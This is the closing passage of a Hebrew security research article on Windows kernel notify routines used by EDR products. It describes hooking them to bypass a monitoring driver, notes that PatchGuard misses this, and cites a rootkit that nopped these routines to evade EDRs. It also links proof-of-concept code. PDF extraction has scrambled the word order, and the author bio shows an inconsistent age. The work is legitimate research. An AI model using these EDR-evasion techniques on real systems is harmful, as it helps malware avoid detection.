על ידי המימוש של  LibraryHookingDriverמעולה. הכל עובד פצצה. אם כך, הצלחנו לעקוף את 

NotifyRoutineHookingDriver ברמת העקרון לעקוף כל . עכשיו אנחנו יכולים כאן! דמו זהה בוידאו נמצא

 ולא בודק את עצמו כמו שצריך.  notify routines-דרייבר שמשתמש ב

לא תופס את זה בכלל, ככל הנראה בשל העובדה שהרשימה  PatchGuardשימו לב שמההתנסות שלי, 

 -הזו יחסית דינמית. לקח הרבה זמן להגיע לכאן, אבל אני מאוד אוהב את התחושה הזו שהכל מתחבר 

 קר שביצענו והפרקטיקה.המח

https://www.youtube.com/watch?v=7M7UEnWj58o
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 סיכום

, למדנו כיצד אפשר לממש איתם חלקים notify routinesלסיכום, במאמר זה עברנו על השימושים של 

, וכיצד ניתן למצוא אותם בזמן ריצה ולעשות להם under the hood, כיצד הם עובדים בפועל EDRממוצרי 

ם דברים חדשים מהמאמר שיסייעו לכם הוקינג. אני מודה לכם מאוד על הקריאה, ומקווה שלמדת

בפרויקטי המחקר העתידיים שלכם. כמו כן, אני מזכיר שכל מה שנלמד כאן הוא רק לצורך הבנה של 

 התוקף, ולחלוטין לא לצורך מימוש אמיתי והטמעה בתוך נוזקות. 

"rootkit kernel the of Return , הייתה הרצאה מצוינת בשם BlueHat 2018-עם זאת, אציין שב

"malware שהציגה רוטקיט קרנלי מודרני מאוד, שככל הנראה יוצריו ביצעו מחקר הדומה לזה שהוצג ,

 overwriting-ו create process notify routines-במאמר זה, שכן ברוטקיט התבצעה אנומרציה על כל ה

 ים.-EDRים על מנת לעקוף -nopשלהן עם 

מוזמנים להתנסות איתם אצלכם! לכל שאלה  - הזה Github Repo-ים מהמאמר מופיעים ב-PoC-כל ה

 (.@omerk2511( או בטוויטר )com.gmail@ex.m4gnumופנייה, תרגישו חופשי לדבר אתי במייל )

שסייע  )repnz (אורי דמריבמעמד זה להודות לכל מי שסייע לי במחקר ובכתיבת המאמר, ובפרט ל אשמח

 ,ובעריכת המאמר שסייעו בכתיבת )cp77fk4r (אפיק קסטיאללו (1byteגיא סודאי )רבות במחקר עצמו, ל

 .lsInterna Windows-רבות בכניסה לתחום מחקר השעזר לי  אורי נמרוןל -אחרון ו

 

 קצת עלי

, עולה לכיתה י"ב. אני מתעסק מגיל צעיר מאוד במחשבים ובשנים האחרונות מתעסק 64אני עומר כץ, בן 

, מחקר נוזקות, Windows internals. תחומי העניין העיקריים שלי הם Low Levelבעיקר בפיתוח ומחקר 

 .Reverse Engineering-מחקר חולשות, ו

 

https://www.youtube.com/watch?v=qVIxFfXpyNc
https://www.youtube.com/watch?v=qVIxFfXpyNc
https://www.youtube.com/watch?v=qVIxFfXpyNc
https://github.com/omerk2511/NotifyRoutinesResearch
mailto:m4gnum.ex@gmail.com
https://twitter.com/omerk2511

